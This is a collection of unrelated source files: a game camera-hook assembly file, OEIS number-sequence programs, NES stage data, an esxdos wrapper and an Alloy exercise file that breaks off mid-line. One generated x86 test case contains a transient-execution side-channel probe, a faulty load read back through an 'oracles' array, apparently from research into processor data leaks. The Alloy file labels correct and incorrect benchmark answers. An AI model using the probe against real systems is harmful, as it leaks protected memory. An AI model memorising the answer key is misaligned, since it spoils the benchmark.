;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;//////////////////////////////////////////////////////////////////////////////////////////////////////// ;--------------------------------------------------------------- ; Game specific asm file to intercept execution flow to obtain addresses, prevent writes etc. ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; Public definitions so the linker knows which names are present in this file PUBLIC cameraAddressInterceptor PUBLIC cameraWriteInterceptor PUBLIC gameSpeedInterceptor PUBLIC hudToggleInterceptor ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; Externs which are used and set by the system. Read / write these ; values in asm to communicate with the system EXTERN g_cameraStructAddress: qword EXTERN g_gameSpeedStructAddress: qword EXTERN g_hudToggleStructAddress: qword EXTERN g_cameraEnabled: byte ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; Own externs, defined in InterceptorHelper.cpp EXTERN _cameraStructInterceptionContinue: qword EXTERN _cameraWriteInterceptionContinue: qword EXTERN _gameSpeedInterceptorContinue: qword EXTERN _hudToggleInterceptorContinue: qword ;--------------------------------------------------------------- ; Scratch pad ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; FOV Write address. This is nopped in the interceptor when needed. ;--------------------------------------------------------------- ;DXMD.exe+383F18E - F3 0F11 49 0C - movss [rcx+0C],xmm1 <<< FOV WRITE ;DXMD.exe+383F193 - F3 0F10 0D FD935DFE - movss xmm1,[DXMD.exe+1E18598] { [0.01] } ;DXMD.exe+383F19B - 48 81 C1 D0FEFFFF - add rcx,FFFFFED0 { -304 } ;DXMD.exe+383F1A2 - F3 0F59 81 3C010000 - mulss xmm0,[rcx+0000013C] ;DXMD.exe+383F1AA - 0F2F C1 - comiss xmm0,xmm1 ;--------------------------------------------------------------- .code cameraAddressInterceptor PROC ; The camera address interceptor uses the FOV read code to obtain the structure address for FOV, which is used to reliably locate the camera matrix as well (as it's relative to the FOV) ; Original code ;DXMD.exe+38496CD - F3 0F10 9B 3C010000 - movss xmm3,[rbx+0000013C] <<<< INTERCEPT HERE (FOV READ) ;DXMD.exe+38496D5 - F3 0F10 8B 08020000 - movss xmm1,[rbx+00000208] ;DXMD.exe+38496DD - F3 0F10 93 0C020000 - movss xmm2,[rbx+0000020C] ;DXMD.exe+38496E5 - 0F28 E3 - movaps xmm4,xmm3 <<<< CONTINUE HERE ; Game jmps to this location due to the hook set in C function SetCameraStructInterceptorHook mov [g_cameraStructAddress], rbx originalCode: movss xmm3, dword ptr [rbx+0000013Ch] movss xmm1, dword ptr [rbx+00000208h] movss xmm2, dword ptr [rbx+0000020Ch] exit: jmp qword ptr [_cameraStructInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraAddressInterceptor ENDP cameraWriteInterceptor PROC ;DXMD.exe+3550B8F - 0FC6 C2 49 - shufps xmm0,xmm2,49 <<< INTERCEPT HERE ;DXMD.exe+3550B93 - 0F29 4B 50 - movaps [rbx+50],xmm1 << WRITE MATRIX ;DXMD.exe+3550B97 - 0F28 CA - movaps xmm1,xmm2 ;DXMD.exe+3550B9A - 0FC6 CD 0A - shufps xmm1,xmm5,0A ;DXMD.exe+3550B9E - 0F29 43 60 - movaps [rbx+60],xmm0 << WRITE MATRIX ;DXMD.exe+3550BA2 - 0FC6 CD 98 - shufps xmm1,xmm5,-68 ;DXMD.exe+3550BA6 - 0F29 4B 70 - movaps [rbx+70],xmm1 << WRITE COORDS ;DXMD.exe+3550BAA - C6 43 18 00 - mov byte ptr [rbx+18],00 <<<< CONTINUE HERE ; ; As it's unclear what will happen with the values in xmm1 and xmm0 after the code, we'll execute the original code when the camera is active, but just don't write to memory. cmp qword ptr rbx, [g_cameraStructAddress] jne originalCode ; code operates on other struct than the camera struct, leave it. cmp byte ptr [g_cameraEnabled], 1 ; check if the user enabled the camera. If so, just skip the write statements, otherwise just execute the original code. je noCameraWrite ; our own camera is enabled, just skip the writes originalCode: shufps xmm0,xmm2, 49h movaps xmmword ptr [rbx+50h],xmm1 movaps xmm1,xmm2 shufps xmm1,xmm5, 0Ah movaps xmmword ptr [rbx+60h],xmm0 shufps xmm1,xmm5, 98h movaps xmmword ptr [rbx+70h],xmm1 jmp exit noCameraWrite: shufps xmm0,xmm2, 49h movaps xmm1,xmm2 shufps xmm1,xmm5, 0Ah shufps xmm1,xmm5, 98h exit: jmp qword ptr [_cameraWriteInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraWriteInterceptor ENDP gameSpeedInterceptor PROC ;DXMD.exe+34C3306 - F3 48 0F2C C8 - cvttss2si rcx,xmm0 <<< INTERCEPT HERE ;DXMD.exe+34C330B - 48 0FAF C8 - imul rcx,rax ;DXMD.exe+34C330F - 48 C1 F9 14 - sar rcx,14 { 20 } ;DXMD.exe+34C3313 - 49 89 48 30 - mov [r8+30],rcx ;DXMD.exe+34C3317 - 49 01 48 20 - add [r8+20],rcx <<< CONTINUE HERE mov [g_gameSpeedStructAddress], r8 ; gamespeed address struct is in r8 originalCode: cvttss2si rcx,xmm0 imul rcx,rax sar rcx,14h mov [r8+30h],rcx jmp qword ptr [_gameSpeedInterceptorContinue] gameSpeedInterceptor ENDP hudToggleInterceptor PROC ;0000000144309CF0 | 80 79 20 00 | cmp byte ptr ds:[rcx+20],0 << INTERCEPT HERE ;0000000144309CF4 | 74 06 | je dxmd_dump.144309CFC ;0000000144309CF6 | F3 0F 10 41 24 | movss xmm0,dword ptr ds:[rcx+24] ;0000000144309CFB | C3 | ret ;0000000144309CFC | F3 0F 10 41 28 | movss xmm0,dword ptr ds:[rcx+28] ;0000000144309D01 | C3 | ret << CONTINUE HERE ; v1.17 introduced 4 alignment bytes between the two statements. ;DXMD.exe+4312BC0 - 80 79 20 00 - cmp byte ptr [rcx+20],00 { 0 } << INTERCEPT HERE ;DXMD.exe+4312BC4 - 74 0A - je DXMD.exe+4312BD0 (second return) ;DXMD.exe+4312BC6 - F3 0F10 41 24 - movss xmm0,[rcx+24] << HUD Toggle (1.0f is show, 0.0f is hide) ;DXMD.exe+4312BCB - C3 - ret ;DXMD.exe+4312BCC - 16 - push ss << BS BYTES, not used in original code below. ;DXMD.exe+4312BCD - 39 6D 8E - cmp [rbp-72],ebp ;DXMD.exe+4312BD0 - F3 0F10 41 28 - movss xmm0,[rcx+28] ;DXMD.exe+4312BD5 - C3 - ret << CONTINUE HERE mov [g_hudToggleStructAddress], rcx originalCode: cmp byte ptr [rcx+20h], 00 je secondValue movss xmm0, dword ptr [rcx+24h] jmp exit secondValue: movss xmm0, dword ptr [rcx+28h] exit: jmp qword ptr [_hudToggleInterceptorContinue] hudToggleInterceptor ENDP END
programs/oeis/055/A055565.asm
jmorken/loda
1
81757
; A055565: Sum of digits of n^4. ; 0,1,7,9,13,13,18,7,19,18,1,16,18,22,22,18,25,19,27,10,7,27,22,31,27,25,37,18,28,25,9,22,31,27,25,19,36,28,25,18,13,31,27,25,37,18,37,43,27,31,13,27,25,37,27,28,43,18,31,22,18,34,37,36,37,34,45,13,31,27,7 pow $0,4 lpb $0 mov $2,$0 div $0,10 mod $2,10 add $1,$2 lpe
Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xa0.log_21829_459.asm
ljhsiun2/medusa
9
167238
<filename>Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xa0.log_21829_459.asm .global s_prepare_buffers s_prepare_buffers: push %r11 push %r9 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x717b, %rsi lea addresses_normal_ht+0x1504b, %rdi clflush (%rdi) nop nop nop nop nop cmp %rax, %rax mov $125, %rcx rep movsl nop and %rbp, %rbp lea addresses_WT_ht+0x95d3, %rbp nop nop nop inc %rdi movw $0x6162, (%rbp) nop nop nop nop sub $64769, %rdi lea addresses_WT_ht+0x244b, %rax nop nop nop nop nop inc %rsi mov $0x6162636465666768, %rcx movq %rcx, (%rax) nop nop sub $3337, %rdi lea addresses_WT_ht+0x1484b, %rsi lea addresses_WT_ht+0x4b4b, %rdi nop and $16690, %r9 mov $38, %rcx rep movsq nop nop nop cmp $25936, %rcx lea addresses_A_ht+0x374b, %rbp nop nop nop add %rdx, %rdx vmovups (%rbp), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %rsi nop nop nop nop nop sub %rdx, %rdx lea addresses_A_ht+0x1d24b, %rdx nop nop nop nop nop cmp $48485, %rax mov $0x6162636465666768, %rbp movq %rbp, (%rdx) nop nop nop nop sub %rdx, %rdx lea addresses_WC_ht+0x180bb, %rsi lea addresses_A_ht+0x13a4b, %rdi nop nop xor %r11, %r11 mov $0, %rcx rep movsl nop nop nop sub $45346, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r9 push %rax push %rbp push %rdx // Store lea addresses_US+0x1588b, %r14 nop nop nop cmp $26377, %rbp mov $0x5152535455565758, %r12 movq %r12, %xmm3 vmovaps %ymm3, (%r14) cmp $19818, %r9 // Store lea addresses_US+0x1914b, %r11 nop nop nop nop cmp $18007, %rax movl $0x51525354, (%r11) nop nop nop nop add $41372, %r11 // Store lea addresses_WT+0x16c4b, %rax clflush (%rax) cmp $58593, %rdx movl $0x51525354, (%rax) nop nop nop nop nop add $2997, %rax // Load lea addresses_RW+0x37a1, %rax clflush (%rax) nop nop xor $24682, %r11 movups (%rax), %xmm3 vpextrq $1, %xmm3, %r14 nop sub $7660, %rdx // Faulty Load lea addresses_WT+0x16c4b, %r9 nop nop nop nop nop xor %r14, %r14 movb (%r9), %dl lea oracles, %rax and $0xff, %rdx shlq $12, %rdx mov (%rax,%rdx,1), %rdx pop %rdx pop %rbp pop %rax pop %r9 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_US', 'AVXalign': True, 'size': 32}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_US', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 4}} {'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_RW', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': True, 'size': 1}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 8}} {'src': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8}} {'src': {'same': True, 'congruent': 4, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}} {'54': 21829} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
programs/oeis/033/A033562.asm
neoneye/loda
22
244883
; A033562: a(n) = 2*n^3 + 1. ; 1,3,17,55,129,251,433,687,1025,1459,2001,2663,3457,4395,5489,6751,8193,9827,11665,13719,16001,18523,21297,24335,27649,31251,35153,39367,43905,48779,54001,59583,65537,71875,78609,85751,93313,101307,109745,118639,128001,137843,148177,159015,170369,182251,194673,207647,221185,235299,250001,265303,281217,297755,314929,332751,351233,370387,390225,410759,432001,453963,476657,500095,524289,549251,574993,601527,628865,657019,686001,715823,746497,778035,810449,843751,877953,913067,949105,986079,1024001,1062883,1102737,1143575,1185409,1228251,1272113,1317007,1362945,1409939,1458001,1507143,1557377,1608715,1661169,1714751,1769473,1825347,1882385,1940599 pow $0,3 mul $0,2 add $0,1
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_disk_filemap.asm
jpoikela/z88dk
640
87086
<filename>libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_disk_filemap.asm ; unsigned char esx_disk_filemap(uint8_t handle,struct esx_filemap *fmap) SECTION code_esxdos PUBLIC _esx_disk_filemap EXTERN l0_esx_disk_filemap_callee _esx_disk_filemap: pop de dec sp pop af pop hl push hl push af inc sp push de jp l0_esx_disk_filemap_callee
game/data/stages/shelf/screen.asm
pompshuffle/super-tilt-bro
2
83354
stage_shelf_palette_data: ; Background .byt $21,$0d,$00,$10, $21,$0d,$00,$31, $21,$09,$19,$31, $21,$07,$17,$27 ; Sprites .byt $21,$08,$1a,$20, $21,$08,$10,$37, $21,$08,$16,$10, $21,$08,$28,$37 nametable_stage_shelf: .byt $00,$59 .byt .byt $01, $02, $00,$1e .byt $03, $04, $05, $00,$88 ; ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- .byt .byt .byt .byt ; ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- .byt $01, $02, $00,$1e .byt $03, $04, $05, $00,$07, $06, $07, $08, $09, $00,$18 .byt $0e, $00,$03, $0a, $0b, $0c, $0d, $00,$02, $0e, $0f, $00,$14 .byt $14, $13, $2b, $2c, $2e, $11, $12, $2e, $13, $13, $14, $15, $00,$13 ; ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- .byt $16, $17, $18, $19, $19, $19, $19, $19, $19, $19, $1a, $17, $18, $1b, $00,$13 .byt $1e, $1f, $00,$08, $1c, $1d, $00,$14 .byt $1c, $1d, $00,$08, $1c, $1d, $00,$14 .byt $1c, $1d, $00,$08, $1c, $1d, $00,$0e ; ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- .byt $0e, $0f, $00,$04, $1c, $1d, $00,$08, $1e, $1f, $00,$03, $0e, ZIPZ,$0f, $00,$08 .byt $14, $15, $13, $13, $2f, $2d, $29, $2a, $2f, $00,$06, $2e, $29, $2a, $2b, $2c, $13, $14, $13, $15, $00,$07 .byt $16, $19, $1a, $17, $18, $19, $1a, $17, $18, $19, $1b, $00,$04, $16, $1a, $17, $18, $19, $19, $17, $18, $19, $19, $1b, $00,$09 .byt $1c, $1d, $00,$02, $1c, $1d, $00,$08, $1c, $1d, $00,$02, $1c, $1d, $00,$0c ; ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- .byt $1c, $1d, $24, $25, $1c, $1d, $00,$02, $13, $21, $00,$04, $1c, $1d, $20, $21, $1e, $1f, $00,$0c .byt $1c, $1d, $26, $27, $1c, $1d, $00,$02, $0b, $0c, $00,$04, $1c, $1d, $22, $23, $1c, $1d, $00,$0c .byt $29, $2a, $2b, $2f, $29, $2a, $13, $20, $11, $12, $2d, ZIPZ,$2f, $2c, $29, $2a, $13, $13, $29, $2a, $00,$0c .byt $30, $31, $31, $31, $31, $31, $31, $31, $31, $31, $31, $31, $31, $31, $31, $31, $31, $31, $31, $32, $00,$0c ; ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- .byt $33, $39, $3a, $d1, $d2, $3a, $3a, $3a, $38, $39, $3a, $3a, $3a, $3a, $3a, $d6, $d7, $3a, $3a, $36, $00,$0c .byt $37, $3a, $3a, $d3, $d4, $3a, $3a, $3a, $3c, $3d, $3a, $3a, $3a, $3a, $3a, $d8, $d9, $3a, $3a, $3b, $00,$06 .byt $3f, $40, $41, $42, $43, $3f, $33, $3a, $00,$03, $e5, $3a, $44, $45, $3a, $3a, $3a, $44, $45, $00,$03, $e5, $3a, $36, $40, $41, $42, $43, $3f, $40 .byt $3a, $3a, $3a, $3a, $3a, $3a, $37, $3d, $3a, $3a, $44, $45, $3a, $3a, $3a, $3a, $3a, $38, $39, $3a, $3a, $3a, $3c, $3d, $3a, $3b, $3a, $3a, $3a, $3a, $3a, $3a ; ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- ------------------- .byt $3a, $3a, $3a, $3a, $3a, $3a, $33, $3a, $3a, $3a, $38, $39, $3a, $3a, $3e, $3a, $3a, $3a, $3a, $3a, $3a, $44, $45, $3a, $3c, $36, $3a, $3a, $3a, $3a, $3a, $3a .byt $3a, $3a, $3a, $3a, $3a, $3a, $37, $3a, $3a, $3a, $3c, $3d, $3a, $3a, $3a, $3e, $3a, $3a, $3a, $3a, $38, $39, $3a, $3a, $3a, $3b, $3a, $3a, $3a, $3a, $3a, $3a nametable_stage_shelf_attributes: .byt ZIPNT_ZEROS(6), %01010000 .byt ZIPNT_ZEROS(1+8+1) .byt %00000101, %10000000, ZIPZ, %10000000, %10100000 .byt ZIPNT_ZEROS(2+8+1) .byt %00001010, ZIPNT_ZEROS(4), %00001010 .byt ZIPNT_ZEROS(1+2) .byt %00000010, ZIPNT_ZEROS(2), %00001000 .byt ZIPNT_ZEROS(2) .byt %01010000, %00010000, ZIPNT_ZEROS(4), %01000000, %01010000 .byt %00000101, %00000001, ZIPNT_ZEROS(4), %00000100, %00000101 nametablei_stage_shelf_end: .byt ZIPNT_END
beafix_benchmarks/A4F-1B/CV/cv_inv1_1.als
Kaixi26/org.alloytools.alloy
0
3274
abstract sig Source {} sig User extends Source { profile : set Work, visible : set Work } sig Institution extends Source {} sig Id {} sig Work { ids : some Id, source : one Source } // Specify the following invariants! // You can check their correctness with the different commands and // specifying a given invariant you can assume the others to be true. pred inv1 { // The works publicly visible in a curriculum must be part of its profile -- all u:User | u.visible in u.profile --correct {#m#() all w : Work | some (User<:visible).w implies some w.(User<:profile) } --incorrect 1 -- all w : Work | some (User<:visible).w implies some w.(User<:profile) --incorrect 2 -- all w : Work | some w.(User<:visible) implies some w.(User<:profile) --incorrect 3 -- all u : User, w : Work | u->w in visible and u->w in profile --incorrect 4 -- User.visible in User.profile --incorrect 5 -- all w1, w2 : Work | w1->w2 in visible and w1->w2 in profile --incorrect 6 -- Work in User.profile --incorrect 7 -- all w : Work | some (User<:visible).w --incorrect 8 -- all w : Work | some (User<:visible).w implies some (User<:profile).w --incorrect 9 -- all w1, w2 : Work | w1->w2 in profile --incorrect 10 -- Work in User.profile --incorrect 11 -- some (User<:visible).Work implies some (User<:profile).Work --incorrect 12 -- some User.visible --incorrect 13 -- User.visible in User.profile --incorrect 14 -- User.visible in User.profile --incorrect 15 -- User.visible in User.profile & User --incorrect 16 -- all u : User, w : Work | u->w in visible and u->w in profile --incorrect 17 -- all w : Work | some (User<:visible).w implies some (User<:profile).w --incorrect 18 -- (User<:visible).Work in (User<:profile).Work --incorrect 19 -- Work in User.profile + User.visible --incorrect 20 -- User.visible in User.profile --incorrect 21 -- no User --incorrect 22 -- all w : Work | some (User<:visible).w implies some w.(User<:profile) --incorrect 23 -- Work in User.profile & User.visible --incorrect 24 -- all u : User, w : Work | u->w in profile --incorrect 25 -- User.visible in User.profile & User --incorrect 26 -- all w : Work | some (User<:visible).w implies some w.(User<:profile) --incorrect 27 } pred inv2 { // A user profile can only have works added by himself or some external institution all u:User, w:Work | w in u.profile implies (u in w.source or some i:Institution | i in w.source) --correct -- all u : User, w : Work | u->w in profile implies (u.source in User or u.source in Institution) --incorrect 1 -- all u : User | some (u<:profile).Work implies some u.(Work<:source) & Institution.(Work<:source) --incorrect 2 -- all u:User ,i:Institution | u.profile.source = u --incorrect 3 -- all u : User| some w : Work | u->w in profile implies (w.source in User or w.source in Institution) --incorrect 4 -- all u : User | Work.(u<:profile) in (Work<:source).u + (Work<:source).Institution --incorrect 5 -- all u : User | u.profile.ids in u + Institution --incorrect 6 -- all u : User | (u<:profile).Work in (Work<:source).u & (Work<:source).Institution --incorrect 7 -- all w : Work | w.source in Source --incorrect 8 -- all u:User , w:Work |some i:Institution| (w in u.profile) implies (w.source = u || w.source = i) --incorrect 9 -- all u : User | (u<:profile).Work in (Work<:source).u + (Work<:source).Institution --incorrect 10 -- all u : User | Work.(u<:profile) in (Work<:source).u + (Work<:source).Institution --incorrect 11 -- all u : User | (u<:profile).Work in (Work<:source).u + (Work<:source).Institution --incorrect 12 -- all u:User, w:Work, i:Institution | w in u.profile implies (u in w.source or i in w.source) --incorrect 13 -- all u : User, w : Work | u->w in profile implies (w.source in User or w.source in Institution) --incorrect 14 -- all w:Work | (w in User.profile) implies (User = w.source) --incorrect 15 -- all u:User, w:Work | some i:Institution | w in u.profile implies (u in w.source or i in w.source) --incorrect 16 -- all u : User | Work.(u<:profile) in (Work<:source).u + (Work<:source).Institution --incorrect 17 -- all u : User | some (u<:profile).Work implies some (Work<:source).u or some (Work<:source).Institution --incorrect 18 -- all u:User , w:Work, i:Institution | w in u.profile && w.source = u || w.source = i --incorrect 19 -- all u:User, w:Work | w in u.profile implies (some i:Institution | u in w.source or i in w.source) --incorrect 20 -- all u : User | Work.(u<:profile) in (Work<:source).u + (Work<:source).Institution --incorrect 21 -- all u : User | (Work<:source).u in (Work<:source).Institution --incorrect 22 -- all u:User, w:Work | some i:Institution | w in u.profile implies u in w.source or i in w.source --incorrect 23 -- all u : User | (u<:profile).Work in (Work<:source).u + (Work<:source).Institution --incorrect 24 -- all u : User | some (u<:profile).Work implies some (Work<:source).u & (Work<:source).Institution --incorrect 25 -- all u:User , w:Work, i:Institution | w in u.profile && (w.source = u || w.source = i) --incorrect 26 -- all u : User | some (u<:profile).Work implies some u.(Work<:source) & Institution.(Work<:source) --incorrect 27 -- all u:User, w:Work | w in u.profile implies u in w.source --incorrect 28 -- all u : User | u.profile.ids in (u + Institution) --incorrect 29 -- all u : User | some w : Work | u->w in profile implies (w.source in Institution or w.source in User) --incorrect 30 -- all u : User | some w : Work | u->w in profile implies some (w<:source).Institution or some (w<:source).User --incorrect 31 -- all u:User , w:Work, i:Institution | w in u.profile && (w.source = u) --incorrect 32 -- all u:User, w:(u.profile + u.visible) | w in (u+Institution) --incorrect 33 -- Work.source in (User+Institution) --incorrect 34 -- all u:User ,i:Institution | u.profile.source = u || u.profile.source = i --incorrect 35 -- all w:Work | (w in User.profile) implies (w.source = User ) --incorrect 36 -- all u:User , w:Work | (w in u.profile) implies (w.source = u ) --incorrect 37 -- all u : User | some w : Work | u->w in profile implies (Institution in w.source or User in w.source) --incorrect 38 -- all u:User, w:Work | some i:Institution | w in u.profile implies (u in w.source or i in w.source) --incorrect 39 -- all u:User, w:Work | some i:Institution | w in u.profile implies (u in w.source or i in w.source) --incorrect 40 -- all u:User, w:Work | some i:Institution | w in u.profile implies (u in w.source or i in w.source) --incorrect 41 -- all u : User | some (Work<:source).u or some (Work<:source).Institution --incorrect 42 -- all u : User | some (u<:profile).Work implies some (Work<:source).u + (Work<:source).Institution --incorrect 43 -- all u:User,w:Work | some i:Institution | w in u.profile implies (w.source = i or w.source = u) --incorrect 44 -- all u : User | Work.(u<:profile) in (Work<:source).u & (Work<:source).Institution --incorrect 45 -- all u : User | Work.(u<:profile) in u.(Work<:source) + Institution.(Work<:source) --incorrect 46 -- all u : User | (u<:profile).Work in (Work<:source).u + (Work<:source).Institution --incorrect 47 -- all u : User | (u<:profile).Work in u.(Work<:source) + Institution.(Work<:source) --incorrect 48 -- all u : User | Work.(u<:profile) in u.(Work<:source) + (Work<:source).Institution --incorrect 49 -- all u : User | Work.(u<:profile) in (Work<:source).u + (Work<:source).Institution --incorrect 50 -- all u:User, w:Work, i:Institution | w in u.profile implies (u in w.source or i in w.source) --incorrect 51 -- all u : User | some (u<:profile).Work implies some (Work<:source).u & (Work<:source).Institution --incorrect 52 -- all u:User, w:(u.profile + u.visible) | w in (u+Institution) --incorrect 53 -- all u:User , w:Work | (w in u.profile) implies (w.source = u || w.source = Institution) --incorrect 54 -- all u : User | Work.(u<:profile) in (Work<:source).u + (Work<:source).Institution --incorrect 55 -- all u:User, w:Work, i:Institution | w in u.profile implies (u in w.source || i in w.source) --incorrect 56 -- all w:Work | (w in User.profile) && (User = w.source) --incorrect 57 -- all u:User, w:Work | some i:Institution | w in u.profile implies (u in w.source or i in w.source) --incorrect 58 -- all u:User, w:Work, i:Institution | w in u.profile implies u in w.source or i in w.source --incorrect 59 -- all u:User , w:Work | w in u.profile && one w.source --incorrect 60 } pred inv3 { // The works added to a profile by a given source cannot have common identifiers all w1, w2 : Work, u : User | w1 != w2 and (w1 + w2) in u.profile and (w1.source = w2.source) implies no w1.ids & w2.ids --correct -- all w:Work, w1:Work | (w in User.profile && w1 in User.profile) implies no (w.ids & w1.ids) --incorrect 1 -- all w1, w2:Work, u:User | (w1 in u.profile and w2 in u.profile) implies w1.ids != w2.ids --incorrect 2 -- all u:User, w1, w2:Work | w1 in u.profile and w2 in u.profile implies w1.ids not in w2.ids --incorrect 3 -- all w:Work, w1:Work | no (w.ids & w1.ids) --incorrect 4 -- all w:Work, w1:Work | (w in User.profile && w1 in User.profile) implies no (w.ids & w1.ids) --incorrect 5 -- all u: User | all w1, w2: u.profile | not w1.ids = w2.ids --incorrect 6 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in u.profile) and (w1.ids = w2.ids) and (w1.source = w2.source)) implies no (w1.ids & w2.ids) --incorrect 7 -- all w1, w2:Work, u:User | ((w1 in u.profile and w2 in 